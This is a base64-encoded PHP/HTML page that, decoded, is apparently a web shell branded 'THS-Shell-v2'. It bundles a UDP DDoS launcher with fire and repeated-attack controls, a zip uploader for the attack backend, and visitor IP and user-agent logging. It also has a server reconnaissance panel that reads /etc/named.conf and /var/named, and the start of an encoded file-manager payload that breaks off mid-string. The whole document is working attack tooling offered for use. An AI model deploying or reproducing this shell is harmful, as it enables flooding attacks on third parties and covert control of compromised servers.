CAgICAgCQk8bGFiZWw+UGFja2V0OjwvbGFiZWw+PGlucHV0IHR5cGU9Im51bWJlciIgaWQ9InBhY2tldCIgbWluPTEgc3RlcD0xPjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTxsYWJlbD5UaW1lOjwvbGFiZWw+PGlucHV0IHR5cGU9Im51bWJlciIgaWQ9InRpbWUiIG1pbj0xIHN0ZXA9MSB2YWx1ZT01Pjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTxsYWJlbD5CeXRlczo8L2xhYmVsPjxpbnB1dCB0eXBlPSJudW1iZXIiIGlkPSJieXRlcyIgbWF4PTY1MDAwIG1pbj0xIHN0ZXA9MSB2YWx1ZT02NTAwMD48YnIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8bGFiZWw+SW50ZXJ2YWw6PC9sYWJlbD48aW5wdXQgdHlwZT0ibnVtYmVyIiBpZD0iaW50ZXJ2YWwiIG1heD0xMDAwMCBtaW49MSBzdGVwPTEgdmFsdWU9MTA+PGJyLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkJPGxhYmVsPlBhc3M6PC9sYWJlbD48aW5wdXQgaWQ9InBhc3MiPjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTxwcmU+UGFzczogPGNvZGU+VEhTLVNoZWxsLXYyPC9jb2RlPjwvcHJlPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8YnV0dG9uIGlkPSJzZW5kIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmZpcmUoKTsiPkZpcmUhPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTxici8+PGJyLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkJPGxhYmVsIGNsYXNzPSJsYWJlbCI+Q29uc3RhbnQgYXR0YWNrIHdpdGggc21hcnQgZGVsYXlzPC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkJPGJ1dHRvbiBpZD0ic2VuZFdpdGhJbnRlcnZhbCIgb25DbGljaz0iamF2YXNjcmlwdDpjb25zdGFudEF0dGFjayh0cnVlKTsiPlN0YXJ0PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTxidXR0b24gaWQ9InN0b3BJbnRlcnZhbCIgZGlzYWJsZWQ9InRydWUiIG9uQ2xpY2s9ImphdmFzY3JpcHQ6Y29uc3RhbnRBdHRhY2soZmFsc2UpOyI+U3RvcDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgCQk8YnIvPjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAJCTx0ZXh0YXJlYSBpZD0ibG9nIiByb3dzPSIxMCIgY29scz0iNDAiPjwvdGV4dGFyZWE+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQo8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyd1bnppcCddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgCWRlZmluZSgnX1BBVEgnLCBkaXJuYW1lKF9fRklMRV9fKSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkvLyBVbnppcCBzZWxlY3RlZCB6aXAgZmlsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgCSAkZmlsZW5hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAvLyBHZXQgZmlsZSBleHRlbnNpb24NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAkdmFsaWRfZXh0ID0gYXJyYXkoJ3ppcCcpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAJIC8vIENoZWNrIGV4dGVuc2lvbg0KICAgICAgICAgICAgICAgICAgICAgICAgCSBpZihpbl9hcnJheShzdHJ0b2xvd2VyKCRleHQpLCR2YWxpZF9leHQpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICR0bXBfbmFtZSA9ICRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgJHppcCA9IG5ldyBaaXBBcmNoaXZlOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgJHJlcyA9ICR6aXAtPm9wZW4oJHRtcF9uYW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgIGlmICgkcmVzID09PSBUUlVFKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICAvLyBVbnppcCBwYXRoDQogICAgICAgICAgICAgICAgICAgICAgICAJICAgJHBhdGggPSBfUEFUSC4iL1RIUy1ERE9TLyI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICAvLyBFeHRyYWN0IGZpbGUNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICAkemlwLT5leHRyYWN0VG8oJHBhdGgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgICR6aXAtPmNsb3NlKCk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICBlY2hvICc8c2NyaXB0PmFsZXJ0KCJGaWxlIGhhcyBiZWVuIFN1Y2Nlc3NmdWxseSBVbnppcHBlZCEsIHlvdSBjYW4gbm93IGNvbnRpbnVlIHdpdGggdGhlIFVEUCBERE9TIGFsbCByZXF1aXJlbWVudHMgaGFzIGJlZW4gc2F0aXNmaWVkISEgIik8L3NjcmlwdD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgICBlY2hvICc8c2NyaXB0PmFsZXJ0KCJmYWlsZWQhIFRvIHVuemlwISEiKTwvc2NyaXB0Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAJICB9DQogICAgICAgICAgICAgICAgICAgICAgICAJIH1lbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAgZWNobyAnPHNjcmlwdD5hbGVydCgiSW52YWxpZCBmaWxlIHR5cGUgb25seSB6aXAgZmlsZXMgYWxsb3dlZCIpPC9zY3JpcHQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGlwID0gZ2V0VXNlcklQKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkYnJvd3NlciA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkYXRlVGltZSA9IGRhdGUoJ1kvbS9kIEc6aTpzJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9ICJpcHMuaHRtbCI7DQogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IGZvcGVuKCRmaWxlLCAiYSIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSAiPHByZT48Yj5Vc2VyIElQPC9iPjogJGlwIDxiPiBCcm93c2VyPC9iPjogJGJyb3dzZXIgPGJyPm9uIFRpbWUgOiAkZGF0ZVRpbWUgPGJyPjwvcHJlPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZpbGUsICRkYXRhKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkZmlsZSk7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gZ2V0VXNlcklQKCkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2xpZW50ICA9IEAkX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZm9yd2FyZCA9IEAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVtb3RlICA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoZmlsdGVyX3ZhcigkY2xpZW50LCBGSUxURVJfVkFMSURBVEVfSVApKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlwID0gJGNsaWVudDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKGZpbHRlcl92YXIoJGZvcndhcmQsIEZJTFRFUl9WQUxJREFURV9JUCkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXAgPSAkZm9yd2FyZDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlwID0gJHJlbW90ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGlwOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgPHNjcmlwdD4NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCXZhciBfbG9nPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2ciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCXZhciBpbnRlcnZhbEhhbmRsZXIgPSBudWxsOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJZnVuY3Rpb24gZmlyZSgpew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCXZhciBob3N0PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJob3N0IikudmFsdWU7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJdmFyIHBvcnQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInBvcnQiKS52YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQl2YXIgcGFja2V0PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJwYWNrZXQiKS52YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQl2YXIgdGltZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGltZSIpLnZhbHVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCXZhciBwYXNzPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJwYXNzIikudmFsdWU7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJdmFyIGJ5dGVzPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJieXRlcyIpLnZhbHVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCXZhciBpbnRlcnZhbD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaW50ZXJ2YWwiKS52YWx1ZTsNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJaWYoaG9zdCE9IiIgJiYgcGFzcyE9IiIpew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQlpbnB1dExvY2sodHJ1ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCXZhciB1cmw9Jy4vVEhTLURET1MvYmFja2VuZC5waHA/cGFzcz0nK3Bhc3MrJyZob3N0PScraG9zdCsocG9ydCE9IiI/ICcmcG9ydD0nK3BvcnQ6JycpKyh0aW1lIT0iIj8gJyZ0aW1lPScrdGltZTonJykrKHBhY2tldCE9IiI/ICcmcGFja2V0PScrcGFja2V0OicnKSsoYnl0ZXMhPSIiPyAnJmJ5dGVzPScrYnl0ZXM6JycpKyhpbnRlcnZhbCE9IiI/ICcmaW50ZXJ2YWw9JytpbnRlcnZhbDonJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCWNvbnNvbGUubG9nKHVybCk7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCW1pY3JvQWpheCh1cmwsIGZ1bmN0aW9uKHJlc3VsdCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQlfbG9nLnZhbHVlPXJlc3VsdDsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJaWYoX2xvZy52YWx1ZS5pbmNsdWRlcygiV3JvbmcgcGFzc3dvcmQiKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCQljb25zdGFudEF0dGFjayhmYWxzZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJaWYoaW50ZXJ2YWxIYW5kbGVyID09IG51bGwpew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQkJaW5wdXRMb2NrKGZhbHNlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQl9KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJX2xvZy52YWx1ZSA9ICJOb3QgYWxsIHJlcXVpcmVkIHBhcmFtZXRlcnMgYXJlIGZpbGxlZCBjb3JyZWN0bHkhIg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCX0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJZnVuY3Rpb24gbGFnQ29uZmlnKCl7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJcGFja2V0PWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJwYWNrZXQiKS52YWx1ZSA9ICIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCXRpbWU9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRpbWUiKS52YWx1ZSA9ICIxMCI7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJYnl0ZXM9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImJ5dGVzIikudmFsdWUgPSAiMSI7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJaW50ZXJ2YWw9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImludGVydmFsIikudmFsdWUgPSAiMCI7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAl9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCWZ1bmN0aW9uIHRyYWZmaWNDb25maWcoKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQlwYWNrZXQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInBhY2tldCIpLnZhbHVlID0gIiI7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJdGltZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGltZSIpLnZhbHVlID0gIjUiOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCWJ5dGVzPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJieXRlcyIpLnZhbHVlID0gIjY1MDAwIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQlpbnRlcnZhbD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaW50ZXJ2YWwiKS52YWx1ZSA9ICIxMCI7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAl9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCWZ1bmN0aW9uIGNvbnN0YW50QXR0YWNrKHN0YXR1cyl7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJdmFyIGhvc3Q9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhvc3QiKS52YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQl2YXIgaG9zdD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgicGFzcyIpLnZhbHVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCXZhciBpbnRlcnZhbFRpbWU9KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0aW1lIikudmFsdWUgKiAxMDAwKSArIDEwMDA7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJaWYoaG9zdCE9IiIgJiYgcGFzcyE9IiIpew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQlpZihzdGF0dXMgPT0gdHJ1ZSl7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCQlmaXJlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCQlpbnB1dExvY2sodHJ1ZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCQlpbnRlcnZhbEhhbmRsZXIgPSBzZXRJbnRlcnZhbChmaXJlLGludGVydmFsVGltZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJZWxzZSBpZihzdGF0dXMgPT0gZmFsc2Upew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQkJY2xlYXJJbnRlcnZhbChpbnRlcnZhbEhhbmRsZXIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQkJaW5wdXRMb2NrKGZhbHNlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJCWludGVydmFsSGFuZGxlciA9IG51bGw7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJX2xvZy52YWx1ZSA9ICJOb3QgYWxsIHJlcXVpcmVkIHBhcmFtZXRlcnMgYXJlIGZpbGxlZCBjb3JyZWN0bHkhIg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCX0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJZnVuY3Rpb24gaW5wdXRMb2NrKHN0YXR1cyl7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJdmFyIGlucHV0cyA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJpbnB1dCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCXZhciBidXR0b25zID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImJ1dHRvbiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCWlmKHN0YXR1cyA9PSB0cnVlKXsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJZm9yKGkgPSAwO2kgPCBpbnB1dHMubGVuZ3RoO2krKykNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQkJaW5wdXRzW2ldLmRpc2FibGVkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQlmb3IoaSA9IDA7aSA8IGJ1dHRvbnMubGVuZ3RoO2krKykNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJew0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQkJYnV0dG9uc1tpXS5kaXNhYmxlZCA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInN0b3BJbnRlcnZhbCIpLmRpc2FibGVkID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCWVsc2V7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCWZvcihpID0gMDtpIDwgaW5wdXRzLmxlbmd0aDtpKyspDQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCXsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJCWlucHV0c1tpXS5kaXNhYmxlZCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCWZvcihpID0gMDtpIDwgYnV0dG9ucy5sZW5ndGg7aSsrKQ0KICAgICAgICAgICAgICAgICAgICAgICAgCSAJCQl7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCQlidXR0b25zW2ldLmRpc2FibGVkID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAJIAkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInN0b3BJbnRlcnZhbCIpLmRpc2FibGVkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIAkgCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAJIAl9DQogICAgICAgICAgICAgICAgICAgICAgICAJIDwvc2NyaXB0Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnc2VydmVyX2luZm8nXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48Zm9udCBjb2xvcj0ibWFyb29uIiBzaXplPSI2IiBmYWNlPSJBcmlhbCI+U2VydmVyIEluZm88L2ZvbnQ+PGJyPjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9ImNoa0ludGVybmV0U3RhdHVzKCk7Ij5DaGVjayBJbnRlcm5ldCBDb25uZWN0aW9uPC9idXR0b24+PGJyPjxici8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBjaGtJbnRlcm5ldFN0YXR1cygpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKG5hdmlnYXRvci5vbkxpbmUpIHsNCiAgICAgICAgYWxlcnQoIkh1cnJheSEgWW91J3JlIG9ubGluZSEhISIpOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGFsZXJ0KCJPb3BzISBZb3UncmUgb2ZmbGluZS4gUGxlYXNlIGNoZWNrIHlvdXIgbmV0d29yayBjb25uZWN0aW9uLi4uZWxzZSBzb21lIGZlYXR1cmVzIG1pZ2h0IG5vdCB3b3JrIHdlbGwuLi4gIik7DQogICAgfQ0KfQ0KPC9zY3JpcHQ+IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiByZWQ7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEzMCU7Ij5VbmFtZTogPD9waHAgZWNobyBwaHBfdW5hbWUoKTsgPz48L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiBzaWx2ZXI7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEzMCU7Ij5Ccm93c2VyOiA8P3BocCBlY2hvICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsgPz48L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCTxmb250IHN0eWxlPSJjb2xvcjogdGVhbDsgZm9udC1mYW1vbHk6IG1vbm9zcGFjZTsgZm9udC1zaXplOiAxMzAlOyI+T3BlcmF0aW5nIFN5c3RlbTogPD9waHAgZWNobyBQSFBfT1M7ID8+PC9mb250PjxiciAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiBsYXduZ3JlZW47IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEzMCU7Ij5TZXJ2ZXIgU29mdHdhcmU6IDw/cGhwIGVjaG8gJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddOyA/PiA8L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiByZWQ7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEzMCU7Ij5TZXJ2ZXIgSVA6IDw/cGhwIGVjaG8gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107ID8+PC9mb250Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJjb2xvcjogbGF3bmdyZWVuOyBmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAxMzAlOyI+VXNlciBJUDogPD9waHAgZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsgPz48L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiByZWQ7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEzMCU7Ij5Vc2VyOiA8P3BocCBlY2hvIEBnZXRfY3VycmVudF91c2VyKCk7ID8+PC9mb250Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJjb2xvcjogcmVkOyBmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAxMzAlOyI+U2FmZSBNb2RlOiZuYnNwOzw/cGhwICRzYWZlX21vZGUgPSBpbmlfZ2V0KCdzYWZlX21vZGUnKTsgaWYgKCRzYWZlX21vZGUgPT0gMSkgeyBlY2hvICc8c3BhbiBzdHlsZT0iY29sb3I6IHJlZDsiPk9uJzt9IGVsc2Uge2VjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjogbGF3bmdyZWVuOyI+T2ZmPC9zcGFuPic7fT8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImNvbG9yOiBsYXduZ3JlZW47IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEzMCU7Ij5Eb21haW5zOiA8P3BocCBpZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIndpbiIpIHskb3MgPSAnd2luJzt9ZWxzZSB7JG9zID0gJ25peCc7fWlmKCRvcyA9PSAnbml4JykgeyRkb29zID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTtpZighJGRvb3MpIHskRG9tYWluUyA9ICIvdmFyL25hbWVkIjskRG9tYWlub25zZXJ2ZXIgPSBzY2FuZGlyKCREb21haW5TKTskZDBjID0gY291bnQoJERvbWFpbm9uc2VydmVyKTt9IGVsc2Uge0BwcmVnX21hdGNoX2FsbCgnLy4qP3pvbmUgIiguKj8pIiB7LycsICRkb29zLCAkb3V0KTskb3V0ID0gc2l6ZW9mKGFycmF5X3VuaXF1ZSgkb3V0WzFdKSk7ICRkMGMgPSAkb3V0LiIgIERvbWFpbnMiO319IGVsc2UgeyRkMGMgPSAiMSI7fSBlY2hvICRkMGM7IH0/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvY2VudGVyPjwvZm9udD48L2NlbnRlcj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2ZpbGVfbWFuYWdlciddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZV9tYW5hZ2VyID0gIjdWcHRiOXM0RXY0ZUlQK0JSYjJSalUxczJmVm1BeHRHMFNacGIzRzdtMkxidzJHeExnSkZvbXdpc3FTajZEalpidi83Y1VoS29xZ1hXMG42ZHJjdW1vamt6TU9aNGN4d05NNUJ3S2JQNDJXOHY0ZmRaWVNzQXo1K2NuWngrdTczTitmb0grOSsrZmxnd2FiN2V6QnRqTTVmbk9XamdJVFhhRW14UHp2NHp6cGlVL2tUVVJ5b2lZVGRCVGhaWXN6VUVydUxzVnBqK0pZTjNDUlJyQm1vNEpIRHE4aTcrN0MvaC9qSGowSjI1RHNyRXR4TmtMdW1DYm5CVTdua1JrRkVKMml6SkN5ZHVuTGM2d1d